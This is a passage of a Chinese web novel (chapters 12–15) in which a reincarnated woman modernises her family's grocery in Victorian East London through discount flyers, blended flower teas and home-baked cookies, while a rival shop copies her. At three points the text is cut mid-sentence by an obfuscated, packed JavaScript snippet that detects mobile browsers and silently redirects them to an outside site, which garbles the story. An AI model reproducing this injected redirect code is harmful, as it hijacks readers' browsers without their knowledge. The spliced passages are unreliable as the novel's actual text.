黛莉大方地将饼干拆了一包，与佩妮分了分，她也尝了那么一口。 这些饼干，是库存货，上周进的，二十磅起批，进货价是四便士一磅，卖到现在目前还剩下一半。 虽然装在马口铁盒里，可以密封，但尝起来也不怎么酥了。 黛莉打算今天主推这玩意儿，把它清出去。 完全不卖饼干也不行，现在的伦敦无论穷富，都流行一日两餐，加上午茶的饮食方式。 西区富人们的午茶是精致的三层糕点塔，而几块饼干配一杯廉价红茶，就是最适合东区的午茶方式。 她打算等这批饼干库存清完了，自己研发几个配方，亲手烤一批饼干出来自产自销。 一般的品牌零售店具有规模后，店里的一部分包装食品都是自有品牌供应。 自己的品牌研发，自己的源头工厂生产配送，这样可以将品控规范到极致，门店库存压力也小。 ... 12.两先令 洛比特杂货店，并不算太宽敞的店铺里，货柜横七竖八的拥挤着，空气里飘散着淡淡的木头霉味。 这屋子里的地板已经很久没有翻新过了，老板也不舍得换新，再怎么打扫也难掩气味。 乔治今天的感觉很奇怪。 上午的生意倒是与往常一样，登门者并不比往常少。 但有那么几个街坊邻居，进门后只是左右瞧瞧，问完价格就走，也不说买什么东西。 昨日老板才进了一批生活用品的新货，针头线脑什么的。 为的就等着发薪日过后，好让附近的人来采购。 但这些邻居也不知道是怎么了，都已经来了他家，竟然不买。 货架上的新进肥皂，才一个便士一块，都纹丝不动。 他直觉这有些不太对劲，但老板此刻还在睡觉。 楼上的太太倒是起来了，却忙着揉制面包，烘烤饼干。 要是洛比特醒来后见不到新鲜的饼干和面包，也会对太太不客气。 乔治心想，等洛比特先生起床，发现没有一个街坊邻居来采购生活物品，一定会心情不好，到时候，他少不得一顿责骂了。 乔治擦完了地，继续去擦拭那些破损了但老板还舍不得换，用胶水又粘上的玻璃窗。 对于老板的责骂，他俨然习以为常。 过了半晌，洛比特先生才懒洋洋地起床，在二楼吃了早餐后，扭动身躯从狭窄的梯子上，把他那肥硕的身体挤了下来。 他的脸庞红润，留着八字胡须，双眼如同鹰钩一样扫视了店里的地板和阶梯。 确保每一处都一尘不染，才认为乔治今天没有偷懒。 洛比特先生清了清嗓子，来到柜台后面，打开他那每天都清空的木制零钱盒。 看到里面的一层硬币明显比他预计的要少，他皱紧了眉头，从柜台走了出来，开始盘点货架上的东西。 检查过货架后，他一双粗手攥成拳头，“咣”的一声，将架子上的瓶瓶罐罐砸的发出响动。 “乔治！” 他朝门外喊道。 门外，正在擦拭门板的乔治听见声音，便背后一冷，急忙进入屋里。 果然，洛比特先生十分生气，认为一定是乔治偷懒了。 他面对洛比特先生的质问，垂着头为自己辩解： “我没有偷懒，一早就开了门，客人也都好好的接待了，太太可以为我作证。” 洛比特太太背上绑着一个两岁大的孩子，手上端着一盘面包和饼干，从狭窄的楼梯上走了下来。 她穿着一身发旧的靛蓝色呢绒长裙，也点点头，蹙眉说道： “的确是这样，也不知道只是怎么回事，有些人只进来问价，扭头就又走了。” 洛比特闻言，眉头一挑，脸上没了刚才的怒气： “那我就知道了，一定是有人在搞鬼。” “乔治！你去其他杂货店打听打听，看这是到底怎么回事。” 洛比特有些生气。 ... 地下小酒馆外，乔治顺着克拉克街的巷子走了进来。 巷子里光线不太好，天气也阴沉，地面湿漉漉的混杂着细雪，一串串脚印把这里踩的坑坑洼洼。 他顺着脚印往纳什杂货店那扇小门看去，发觉那店里影影绰绰，都在排队了，似乎生意不错。 乔治收回目光，走进对面的半地下酒馆。 酒馆还没到开业时间，靠背椅全都拎起来搁在桌面和吧台边。 酒馆的两个员工，一个在扫帚清扫地面，一个在擦玻璃杯，准备在下午准时营业。 酒馆的老板还没来上班，两个员工一边干活一边抽烟，手边还摆着杯子，里面盛着半杯啤酒。 这个点，谁也不会来酒馆，员工沉浸在自己的状态里干活。 乔治前去吧台前，拍了拍南森，才将他的注意力吸引过来。 “南森，对面是怎么回事？你知道吗？” 南森今天抽的纸卷烟，他把烟蒂捻了，冷哼一笑。 “这你老板都不知道？” 他从柜子里拿了一张皱巴巴的纸出来，递给乔治看。 乔治将这小广告拿起来，见上面赫然写着“纳什杂货店，一月特价优惠商品” 他立刻明白了为什么今早会有那么多的街坊邻居过来问价，还都不买，原来是在比价格。 见到纳什杂货店里的东西便宜，就去了他家。 肥皂，两便士三块，怪不得别人不来他家买。 “克拉克街和附近许多人家一早上就在门缝里捡到了这张纸。” 南森看热闹一般地补充：“从今天八九点到现在，我就没见对面闲过，怕是陈年旧货都清完了。” 闻言，乔治攥着这张看起来是手写的小广告，又一溜烟跑回了洛比特杂货店。 … 纳什杂货店，还有两个人在排队。 黛莉站在柜台后边，将两桶陈茶叶打开，递给面前的客人查看。 “这茶有什么区别？” 问价的人是多罗斯街上一家面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16398236|184284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包店的老板。 “这种是锡兰红茶，十个便士一磅，二十七便士三磅。” “这种是印度红茶，十二便士一磅，三十四便士三磅。” “如果买三磅印度红茶，我可以送您半磅蜂蜜饼干。” 面包店老板低头，闻了闻茶叶味。 跟他早上去对比过的两家杂货店区别甚微。 但价格却很明显，便宜了五分之一。 在这样廉价和优惠的情况下，即便是有一点点香味损失，那也无伤大雅。 “各给我来三磅。” 面包店老板说罢，黛莉就开始称重了。 从称重到打包完成，并附赠一包半磅的饼干，总计不超过两分钟的时间，动作十分丝滑。 即便是打折货，也依旧没有敷衍，包装的十分严实精美。 面包店老板从头到尾的体验感都十分良好。 黛莉将桌上的一堆硬币扫进抽屉里，又开始招待下一个客人。 忙到了正午的午茶时间，店里的客人才渐渐少一些。 玛丽煮了热奶，泡了红茶，用一只豁口的白釉陶杯装了，还带着一碟抹了蜂蜜的烤吐司一起递出来，给黛莉填肚子，算作午餐。 黛莉还是坐在柜台边上，一手挥动羽毛笔，清点入账，另一只手叉起酥脆的面包，慢悠悠地啃着。 昨天手写的二百份小广告，今早转化率目前为百分之十五。 一上午的时间，有三十名客人登门购物，平均客单价为二十便士。 销售额总计为六百便士，也就是五十先令，超过了两英镑。 黛莉拉开抽屉，随着她的动作，抽屉里发出一阵哗啦声，全都是各种面额的硬币。 她低头，看着满满当当的硬币，密集恐惧症都治好了。 现在，品相不太好的陈货都折低价格清的差不多了，货柜腾出来不少位置。 虽然没有正价利润率高，但也没亏，大约赚了十个先令。 想必，临近的几家杂货店一上午的时间已经品出了味道。 若是有忍不住的，必然会跟着一起折价，并且学习这种销售方式。 这正在她的计划之内。 黛莉将笔记本翻页，泛黄的纸页上，写着四五种她默背出来的饼干和花茶配方。 这些都是上辈子的畅销货。 规划了目前环境中常见的材料，还参考本地人的口味，将配方做了细微的调整。 现在没有专门的食品研发，她只能自己硬上了。 … 13.三先令 利用中午没人的空档，黛莉将下午要售卖的促销货都提前包装好了。 她仔细地向玛丽介绍了七种包装促销货的区别，以及各种样品，请她帮忙看店。 随后，黛莉掀开帘子，走到楼梯口，朝楼上叫了在家无所事事啃饼干的佩妮。 “佩妮，跟我进货去！” 佩妮顿时放下了手里的二手小说，磨磨蹭蹭的穿上裙子，戴好了帽子跑下来。 在等待她的期间，黛莉已经将货柜里的库存盘了一遍，将要补缺的东西记录在纸上。 等佩妮收拾好了下来，她们一人拎了一只藤编包，戴上宽檐帽，又从屉子里掏了一些预算，妥善藏在身上。 黛莉打算去市场上进点新货补缺，再采购一些清单上的东西，顺便深入的了解一下伦敦这个城市。 临走时，玛丽听黛莉说，她不仅要去进货，还想采购饼干原料，回来自己加工。 玛丽心里觉得有些不靠谱。 但看着黛莉这两天做事的果决样子，以及摆在眼前的成果，又好像有什么地方不一样了。 玛丽又把话咽下去了，只道： “快去快回，不要在外面留到天黑。” 黛莉点头答复：“天黑之前，我们肯定回来。” 说罢，她领着佩妮走出家门，朝着裘德路的方向去了。 佩妮十分开心，今天又吃了饼干，又能去外面玩耍，她蹦蹦哒哒的走在前面，黛莉只好让她慢点。 “佩妮，今天我们不只去奥本斯街。” 佩妮茫然的回过头，询问道：“那还要去哪？” 话应刚落，佩妮就瞧见黛莉停下来，从手提的藤编包里掏出了几个小纸卷，是从报纸上裁剪下来的。 她细长如葱的双手拆开其中一个纸卷，指尖摩挲到了一个地址，那里是整个伦敦目前最热闹的百货商店，位于牛津街。 “今天，我们进货之后，要去一趟西区。” … 半小时后，二人来到了白教堂路附近的集市。 黛莉在几处与自家比较熟悉的杂物批发店将该补库存的货物全都订了，让人直接送回家去。 其中包括茶叶。 随后，便带着佩妮乘上了白教堂路的公共马车。 这会儿刚刚午后，伦敦的天气阴沉，寒风凛凛，外面的人并不多，即便有也是步履匆匆。 轨迹固定的公共马车上只有零星的客人，一人付一个便士之后，她们爬上顶层坐下。 双层马车慢吞吞的往前移动，白教堂的街景往身后移动，黛莉把脸埋在围巾里，好奇地看着路边。 十九世纪末的伦敦，大部分建筑和地理位置与后世已经并没有太大的区别。 只不过，相比起一百年后，如今的伦敦更能称得上是工业之都，世界的金融中心。 阴沉沉的天空下，伦敦街头古典的建筑一闪而过，街道上各色店铺琳琅满目。 从白教堂路一路往东，她可以愈发明显的观察到街道两旁的变化。 经过了商人遍地的阿尔德门，马车一路向西，漫长的路程过后，进入了金融城的地界。 马车在一个四通八达的交叉路口缓缓停靠放人，下一站是圣保罗大教堂。 车停下后，黛莉的眼睛朝附近金融街的主干道看去。 这岔路口位于康尔希街，针线街和伦巴第街的中央。 也几乎是整个金融城的枢纽。 她看向位于康尔希街的皇家交易所，埃劳德保险社。 又看向针线街上从英格兰银行里走出来的人潮。 这里的人们，与东区有着极大的差别，个个神色严肃，面带懒倦，无论男女，都踩着皮靴在金融机构间来回走动。 有钱男人穿着黑色圆尾礼服，带着高筒黑毡帽，一边吸烟一边撑着装饰用的手杖准备前往咖啡店。 贵妇穿着绸缎质感的巴斯尔裙，披着毛绒披肩和装饰缎带的暖帽，从股票代理商的门口走出来，又很快钻进私家马车。 大部分年轻女人都是穿着体面整洁的裙装，出入各个公司的女打字员。 黛莉一眼望去，十个女文员人里恐怕有九个都在各个公司做打字员。 剩下的那个是发电报的。 人群密密麻麻，衬托的金融中心像个巨大蜂巢，在这里的人，每一个都是伦敦繁华的基石。 随后马车继续向前，经过了圣保罗大教堂，来到了考文特花园。 在这里，姐妹二人才走下马车，前往蔬果花卉市场采购清单上要用到的材料。 刚刚在白教堂路的茶叶批发店，黛莉已经进购了两种印度红茶。 每种茶叶二十磅一桶，阿萨姆红茶整桶的批发价是八便士。 大吉岭红茶为十二便士一磅，成本价值刚好四百便士。 现在，她们要在考文特花园的干花批发商或草药商店内采购可食用干花。 黛莉还记得，上辈子她去过很多世界级商品茶叶博览会。 最适合与大吉岭拼配的花朵，首选就是大马士革玫瑰。 而阿萨姆则可以拼配上桂花，薰衣草，茉莉花。 要是有合适的葡萄干，无花果干，以及杏脯和橙皮，也可以适量添加。 在白教堂的批发商买到的印度茶都不是优等品，茶香不足，条索不漂亮，茶末也不少。 不过，如果能把茶叶窨出花香味，这些低端茶叶的价格也就能卖起来了。 黛莉与佩妮下车后，手拉着手进入考文特花园的鲜花蔬果市场。 其实不止蔬果和花卉，全伦敦农业商品都在这里集转，小商贩如同散落在花海一样分布在市场各个角落。 走在集市内部，首先就是要小心点吉普赛女郎。 但黛莉和佩妮不用担心这个问题。 她们俩顶着一头红发，穿着半旧的裙子，再听听她们的口音，一瞧就知道是爱尔兰移民的后代。 很可能父母都是纺织工，还有个整天酗酒的爹，大概率全家人凑不出五英镑。 就连最饥不可耐的吉普赛人也不会来摸她的口袋。 所以，她们很安全的来到了市场中不太显眼的一处专卖干花的商店。 在目前的伦敦，可食用干花市场已经有了一定的规模。 多数卖给了法式甜品店和药店，以及喜欢用干花泡澡的有钱人。 用干花来拼配红茶，也并不是没有茶叶商人来做。 只不过，会喝花茶的人，要么就是上流社会中时髦的一小撮。 要么就是最穷苦，只能喝得起茶渣，配点花香才能下咽。 大多数时候，这种两种花茶都会被商人添加成分并不安全的人工香精，这是化工业发展的灰色地带。 且干花和茶叶混在一起，泡久了倒出来口味发苦，品质不稳定。 大多数情况，他们都是凭借自己的口味囫囵混搭，风味不稳定，从来没有关于花茶的系统性学习。 而黛莉做茶叶的卖点就在此处。 她想卖一款东区普通人能够负担的起，同样又能享受到专业风味，还不损害健康的茶。 黛莉走进拥挤的店里，朝店员咨询起大马士革玫瑰干花的价格。 她想购买的是碎玫瑰花。 店员打开了柜台上的几只铁桶，说道：“碎花的七便士一磅，这种和这种都是五便士。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16402720|184284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我可以闻闻吗？” “闻吧。” 黛莉在柜台前低头，选择了味道更香浓的那种，购买了两磅，还不忘记向店员索要了名片。 接下来，她在花卉市场逛了一圈，费了很大的功夫，才找到了可食用的桂花干花。 能在伦敦买到的桂花都产自清廷，这稍微小众，价格也不廉价，一磅要两个先令。 黛莉闻过香味后，计算了一下配比，购买了十盎司干桂花。 市场上，也有果脯，她随手买了一些，与干花一起装在包里。 当然了，要让佩妮帮忙拎包，少不了得给她买点便宜喽嗖的葡萄干。 时间还没过去多久，她打算和佩妮步行去牛津街最繁华的商业街走一走，看看那里有名的百货店。 也就是第一个被她从报纸上裁下来保存，要考察调研的地方，嘉德洛百货。 牛津街距离考文特花园不过十分钟步行时间。 路途中，她意识到自己踏入了伦敦十九世纪末中产阶级的消费区。 在这一带，所有的商铺都与东区的狭小，拥挤，潮湿不一样。 就连道路也清扫的格外干净，每隔一段，就会安装一台煤气路灯。 骑着高头大马，穿着制服的街头巡警也会在这片区域来回走动。 路边的餐厅里，侍者穿着小燕尾礼服，咖啡店里进出的人大多等着附近的剧院和马戏团开场。 在这条街上，大部分都是专卖一个品类的商店，没有后世那种全品类大型综合百货。 少部分是种类局限的大型百货店。 现在伦敦的中产阶级热爱仪式感。 爱在邦德街品味独特的手工女帽店购买时髦帽子，从摄政街购买法式食物，从牛津街购买生活物品。 就连皮带和皮鞋都有不同店铺的选择，为的就是那份与众不同的仪式感。 能穿裁缝做的衬衫，就绝对不会穿工厂做的通货。 至于这里比较有名的百货商店，商品种类也没有后世那么广泛。 黛莉带着佩妮在嘉德洛百货内逛了一圈，虽然身边擦身而过的柜姐儿和侍者总对她们俩有些警惕。 但好在，因为穿着整套裙装，戴着帽子，看起来像谁家的女仆，所以侍者也没有把她们赶出去。 黛莉将这些视线视若无睹，她简单想打量了一下这里的销售模式和货品，便心有成算的离开了。 嘉德洛百货占了一整栋房子，内部十分宽敞，每一层都足以容纳几十人闲逛。 一楼是日常杂货，二楼是厨房用品，三楼是家具和家纺。 每一层都分布了许多的货柜，导购员在其中帮客人分装商品，结账台在入口处，与超市差不多。 每个柜组里整齐摆放着品质高档的家居用品，但却不是最顶尖的货。 最顶尖的货，要在邦德街和摄政街的奢侈品店去找。 会在牛津街逛的，要么是大户人家的女仆和女管家，要么就是中产阶级。 例如大店主和小经理的家属，这种年收入六百英镑以上的人群。 稍微穷一些的，都不会选择这里。 在这里，一磅产地阿萨姆邦的红茶售价是一英镑，产地更好的茶叶价格在几镑不等。 黛莉和佩妮离开了这里，又去了附近的各种单独货物品类的品牌专卖店。 她们经过了一个街口，黛莉注意到了街口中一个显眼的招牌。 「赫尔康萨酒水商店」 黛莉记得，她好像在报纸上看到过这酒商的社会新闻。 它与引起查布莱银行与犹特航运公司打官司的诈骗案有关联。 … 14.四先令 牛津街的午后，天空的颜色变得更加阴沉，街道也湿漉漉的，行人来去匆匆。 四处弥漫着一股浓郁的咖啡香味，混杂着雨夹雪的冰冷空气。 黛莉略加思索，压低了宽檐帽，毫不犹豫带着佩妮走向酒商对面的报刊店。 姐妹二人的身影藏匿在人群中，一点也不惹人注目。 店名为“莫加仑刊物店”的老报刊店门头十分复古，实木镶嵌板上斑驳的镀金刻字，橱窗里还展示着上个世纪的名著初刊版本。 这显示出了它悠久的历史，或许十八世纪便坐落于此，家族代代经营。 从门外看进去，报刊店内本不大的位置全都挤满了书籍，杂质，摞着各种报刊，排列着书柜。 狭小的柜台就设在门边，柜台后坐着一个络腮胡的老头，他手边的小托盘里，红茶喝了一半，正眯着瞌睡。 黛莉带着佩妮登门，一股浓郁的油墨潮纸味迎面扑来，顿时侵入了她的鼻腔，十分难闻。 她抬手叩响了柜台。 “砰砰”两声。 老板慢悠悠地睁开眼，抬起头，见来了客人，就正坐起来，理了理领结花。 “想买点什么？我这里的报纸和杂志都最全了。” 黛莉的上半张脸盖在帽檐里，下半张脸裹在围巾里。 佩妮跟她的打扮一样，都只露出了鼻尖和眼睛，以及一缕一缕的棕红头发。 黛莉掏出了一点零钱，泰晤士报通常是最便宜的。 “来一份今天的泰晤士日报。” 老板将报纸抽出来递给她，黛莉就地翻开，装模作样的看了两眼，才询问道： “老板，向您打听件事。” 店老板将剩下的半杯茶水喝了，对这种一副低调模样来他这打听消息的人见惯不惯，毕竟这里是牛津街。 他懒洋洋地问：“想打听什么？” “对面那家赫尔康萨酒水商店最近的生意怎么样？” “报纸上不写着吗？” 老板瓮声瓮气地说道： “食品进口商一船的货都被骗子伪造提单文件从港口弄走了。 赫尔康萨先生委托食品商进口的那一批牙买加朗姆酒也在这艘船上。 足足六十箱朗姆酒，价值八百镑的货，现在，这批货丢了。 虽然银行先赔了钱，但东区的黑市上却出现了同款牙买加朗姆酒。 价格仅仅是赫尔康萨店里的十分之一。 有一些小杂货店都在黑市进这便宜货，私下偷偷的转卖。” 黛莉好奇的问：“难道这些人卖私酒就不怕被查吗？” “查？” 报刊店老板仿佛听到了什么玩笑话，他沉吟道： “苏格兰场不会给自己找麻烦的，没有哪个警察会插手这种麻烦的案件。 况且，向诈骗者泄露提单文件的银行经理都死了，杀人凶手都还没抓到呢，谁会来查走私？ 谁又有这个本事，把这案件查清楚？” 黛莉听完，脑海里不禁在想。 或许别的警察不行，但有个警察必然是可以。 她冲报刊店老板道谢，扭头带着佩妮走出去，重新在牛津圆环乘车，一路朝着东区晃去。 佩妮对于今天的旅程感到云里雾里，抵达白教堂路后，天色已经不早了。 黛莉在寡妇给指教的油漆店里，购买了一桶刷木头的清油和木蜡。 然后朝家的方向走去，半小时过去，六点的晚钟响起来，她们进入了克拉克街。 下午六点，天空逐渐开始泛起一丝蓝调，临近工人放工的时间，家家户户开着门窗，点亮了煤气灯，巷子里飘着做饭煮汤的烟味。 她和佩妮刚走了两步，就注意到脚下的一片纸屑。 是传单，飘在地上被雨夹雪打湿了，斑驳的黏在地砖上。 定睛一瞧，并不是她所书写的传单。 眼前这份散落的传单上，第一行写着“洛比特杂货店”的字样，字迹勉强能看。 黛莉无故的乐了一下。 佩妮也认识字，皱着眉，直接问了出来：“他这是在模仿我们吗？” 这模仿的效率还真是高啊。 一切商品都是模仿她的销售模式，无论是打折还是降价，或半卖半送，也都一样。 她家卖两便士三块肥皂，洛比特就卖两便士四块。 这恐怕已经是在亏本倒贴，目的只为赚吆喝了。 她站在原地观摩了一下这张传单上的物品价格，意识到洛比特先生或许是个十分情绪化的人，才离开，满意地带着佩妮回了家。 纳什杂货店内，傍晚已经没有什么客人上门，玛丽照顾的婴儿也都被接走了。 厨房里，面包在烘烤，蔬菜浓汤也在煮着，闻起来有一股培根味。 不得不说，这几天的伙食还不错。 玛丽正在柜台边整理货物，这是货是今天批发商得到黛莉下单后，免费送货上门来的。 都是经常打交道的熟人，晓得丽莎是个什么脾气，他们不至于以次充好，省的扯皮。 玛丽整理的速度很慢，她并不知道所有商品的摆放位置。 黛莉与佩妮进屋后，将包里的干花都拿了出来。 玛丽一见这干花，就知道她们这一下午是去了考文特花园。 黛莉接过了玛丽手上的活儿，开始整理这些货物。 玛丽把位置让开，有些不乐意地说道： “你们今天刚出门，下午洛比特杂货店就也开始满巷子发传单了，还都学我们家。 还好，要清的货下午都卖完了。 一共是二百二十五个便士，都在抽屉里。” 黛莉点头，十分客套的对她说了声辛苦，这弄得玛丽有些摸不着头脑。 “看个店辛苦什么，这些东西你都包好了，只用算个账而已。” 玛丽见黛莉归置物品，明明一团乱麻的杂货。 在她手上，迅速就分了类，在纸上记了数量，扭头就摆进对应的位置，对柜组排列的顺序简直熟悉到合二为一。 这还是她女儿吗？ 玛丽实在想不通，干脆就不想了，帮黛莉对着单子数货。 今天进的货物不多，除了补充库存，主要是新茶叶和做饼干的原料。 玛丽拿着黛莉准备做饼干的配料单，上下看了两眼。 “这做饼干的原材料，都齐全了，粉料我都称过，没有少的。” 她看着配方，里面配料很丰富，感觉有点像西区那种法式甜品店里的样式。 “这制作方法麻烦吗？” “不麻烦，是一种起酥的黄油饼干，我从学校里听来的配方，叫钻石曲奇。” 黛莉描补道。 玛丽：“那不如我帮你做，厨房里的东西你怎么会用？ 反正下周要照顾的孩子少了一半，我也有时间。” 黛莉点头，又问她是这怎么回事。 玛丽摇头：“附近倒了一家纺织厂，克拉克街有几个人失业了，自然是不用我帮忙照顾孩子了。 最近也不知道是怎么了，总有纺织厂和服装厂干不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16413261|184284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去。” “原来是这样啊。” 玛丽叹气，又道：“也不知道诺丁山那边的衬衫厂会不会受影响。” 玛丽的父母早已经不在世了，她在伦敦也没有什么亲戚，只剩下一个小她两岁的妹妹安妮。 安妮小姨嫁给了诺丁山一家衬衫厂的打板师，她也在工厂里做打字员，育有一儿一女，长子比黛莉小两岁。 她们姐妹两个人关系很好，但都是普通人，每天都要忙于生计，虽然同在伦敦，一年却也难得见上一面。 不光是安妮小姨，黛莉的姑姑瑞茜也是如此，上次回来走动还是因为老太太摔跤了。 黛莉听着，打开最后的两桶茶，检查了一下。 花茶需要窨一窨才能有香味，而且大多数都是鲜花来窨藏。 上辈子，她最爱喝茉莉花茶。 是用每年头采的大白毫针芽做底，配上新鲜茉莉花，经过九次鲜花窨藏，才把茶叶取出来。 这样制出来的茶叶，泡进水里，只见茶叶不见花，却满满的都是茉莉花香，也不影响茶汤的回甘口味。 但这里屋子太小，条件有限，为了方便操作，她只能使用已经干燥的花来和茶叶搭配，免得茶叶还得需要二次烘干。 今天买来的桂花还得过一遍火，彻底烘干水分后才能放进茶罐里。 黛莉先将可食用的大马士革玫瑰干花称重，确定好比例，用一些纱布将干花包裹起来。 随后小心的塞进了茶叶桶里的各个角落，层层叠叠的放了几层，确保茶叶都能吸到花味。 听了做法，玛丽立刻就拿着这些桂花回厨房，烧干沉重的铸铁锅，将桂花倒进去，烘的更干了一些。 依旧是黛莉来把这些干桂花用纱布扎上，塞进了茶叶桶里。 又把葡萄干和橙皮各撒了几盎司，算作点缀。 随后，她们开始研究钻石曲奇的制作方法。 制作钻石曲奇十分简单，甚至不需要打发。 材料只有黄油，糖粉，低筋面粉，蛋黄，奶粉。 这些材料，也是黛莉翻遍报纸考察过这个时代的环境才决定使用的。 在欧洲北部生长的小麦，质地较软，面筋较少，适合用来制作甜品。 而在二十多年前，大约一八五八年，一个名叫盖尔美国人就建了一座奶粉工厂。 黛莉比较庆幸，这本书原著的设定时间是十九世纪末，否则她还研发不了很多商品。 制作过程也十分简单，只需要把黄油隔水融化，加上过筛的糖粉搅拌均匀。 再分次加上符合比例的鸡蛋黄，奶粉，低筋粉，再次拌匀。 最后在案板上整形，捏成一长条，或者用纱布捏成三角。 最后，滚上一圈粗糖粒，切成片摆盘放进炭炉子下面的烤箱。 晚餐时间，所有人都品尝到了这种钻石曲奇。 佩妮光是闻着味道，就感觉口水直流，咬上一口，酥松的饼干立刻化渣，在口中融化，剩下一股黄油的焦香。 对佩妮和其他家庭成员来说，他们从来也没吃过这种口感的饼干，十分新奇。 相比起大家吃的迷迷糊糊，黛莉显得十分克制。 她品尝前先漱了口，浅尝一口。 吃完，她立刻就意识到，家里炉子的温度不够高，烘烤的时间长了一点。 饼干的质感还是没有她上辈子的畅销品那么酥松。 不过，就现在的环境，做成这样已经很不错了，吊打市面上的大多数杂货店批发饼干还是没问题。 … 15.五先令 黛莉安慰着自己要接受现状，扭头对玛丽说道： “我今天采购的原材料，大概可以制作二十磅这样的饼干。” 随后，一家人都参与了这饼干的定价讨论当中。 黛莉知道，做零售或餐饮行业，学会算细账，学会控制成本，是做生意成功的基础素质。 所以，在制作的每一个步骤，她都详细的记录了下来这过程带来的损耗和成本。 哪怕是小到烤饼干需要烧的两块煤炭，她也计算在内。 每磅烤好的成品钻石曲奇，需要用到六盎司低筋面粉，四盎司黄油。 糖粉三盎司，奶粉两盎司，砂糖一盎司，鸡蛋黄两颗。 糖粉和鸡蛋都已经比较平价了，这原料主要贵在黄油和奶粉上。 黛莉是买的零售黄油和奶粉，没有达到批发数量，价格都是一先令一磅。 按照用量计算到一份一磅重的饼干里，平均每磅饼干的成本价格是七便士左右。 上下浮动不会太大。 在市面上的杂货店，普通的甜味硬饼干售价在五到十便士左右一磅。 甜品店中的法式糕点则更贵，大部分为两三先令左右一磅。 “我们这钻石曲奇，至少要卖到每磅二十便士以上的价格才有赚头。” 黛莉说着，坐在餐桌边，拿着纸笔，唰唰地拉出了一个列表。 “二十便士？会不会有点太贵了？”玛丽率先询问。 黛莉抬起头，缓缓的看着她，眼中莫名有些感慨： “你的时薪也应该算在里面。 我看外面，多少小餐饮老板在小店时，定价时只计算了成本。 没有计算过自己的时薪，导致后续收入勉强能应付开支平衡。 他们口袋里赚不到钱，因此干脆懈怠了制作过程。 想办法偷工减料来得利润，这样下去，生意就会越来越黄。” 即便玛丽是亲妈，黛莉也不敢保证。 她会在没有长久利益可得的情况下，依旧还能耐心保证品质？ 还得亲母女明算账。 况且研发和包装成本也得归在其中。 餐桌边的几个人一开始都觉得，这饼干虽然很好吃，但在克拉克街未免有些太贵了。 价格虽然没有到两个先令，但也实在不便宜。 但听黛莉这么一解释，他们又都觉得，这话也在理。 纳什先生对玛丽说道： “是啊，你的劳动成本不能不算在内，万一以后要是这饼干受到了欢迎，能赚到钱，你也应该得到你的那一份。” 黛莉说道：“想提高单价也很简单，我们不散称，按照袋装来售卖。 每袋饼干装五盎司重，售价七便士，这个分量刚好一顿午茶。 还可以先提供一点样品，供人试吃。 我今天还进了一些每磅售价六到十便士的普通饼干，让客人有挑选档次的余地。” 这样就万无一失了。 弗莱德听了她的话，忍不住点头赞同，又思索道： “其实七便士五盎司这个价格不算很贵。 邻居们或许不能每天负担，但多罗斯街的店主和厨子们完全吃得起。” 附近普通工人的日薪平均为三十个便士。 但多罗斯街的小店老板和后厨的重要厨师，收入是普通工人的数倍。 小餐厅老板月入三四十英镑的也大有人在。 黛莉有些欣赏地看向便宜爹。 她没想到，便宜爹竟然能主动的给这种商品规划目标客户，孺子可教啊。 玛丽笑道：“这样好，我们家刚打折促销，洛比特就有样学样抢生意，现在我们也应该抢他家的生意。” 纳什先生思索了一阵，说道： “这种饼干，看起来没有特别之处，最特色的地方是口感。 没吃过的不一定会主动构买，但吃过的就一定忘不了这个滋味。” 他看向玛丽，说道：“不如你今晚再做一盘，把品相不那么好的捡出来。 明天我们给多罗斯街的餐厅送奶时，给那里后厨的人尝尝。” 说罢，纳什先生又下意识地寻求黛莉的意见： “你觉得怎么样？” 黛莉点头：“我认为可以。” 她对这老头的商业素质也比较认可，且这老头行动力很不错，是个优秀员工的好料子。 商量过后，晚饭也吃完了，玛丽当晚随即开始了制作饼干，黛莉又开始了盘货柜和销售额。 今天是她正式经营的第二天，陈货清理完毕。 今天进货用的钱，全部使用的是这两天的营业额，以及柜台抽屉里积攒的上周的营业额。 这次进货共计花费五磅，没有动丽莎一分的老本。 这几天依靠打折倾销的收入，刚好足够她发展花茶和曲奇这两个新产品。 在她精密的计算下，这不可能有亏损。 就例如那六十块肥皂，四十便士的进价，再怎么卖她也不会亏本。 反而因为肥皂便宜了这么一丁点，沾沾自喜的客人还会产生继续购买其他商品的意愿。 能克制住这种诱惑的人凤毛麟角。 每当这个时候，她们对价格的警惕就已经完全消散。 做生意便是如此，若只是勤劳，可得中下，若能利用人性，就有钱途了。 黛莉知道，真正开始赚钱的时候还在明天。 今晚睡前，她先把从油漆店买回来的材料打开，仔细的用小刷子，把柜子外侧稍微处理了一下。 夜晚降临，隔着大门，她可以听见克拉克巷子里，地下酒馆传出的喧嚣，比昨天要减弱了许多。 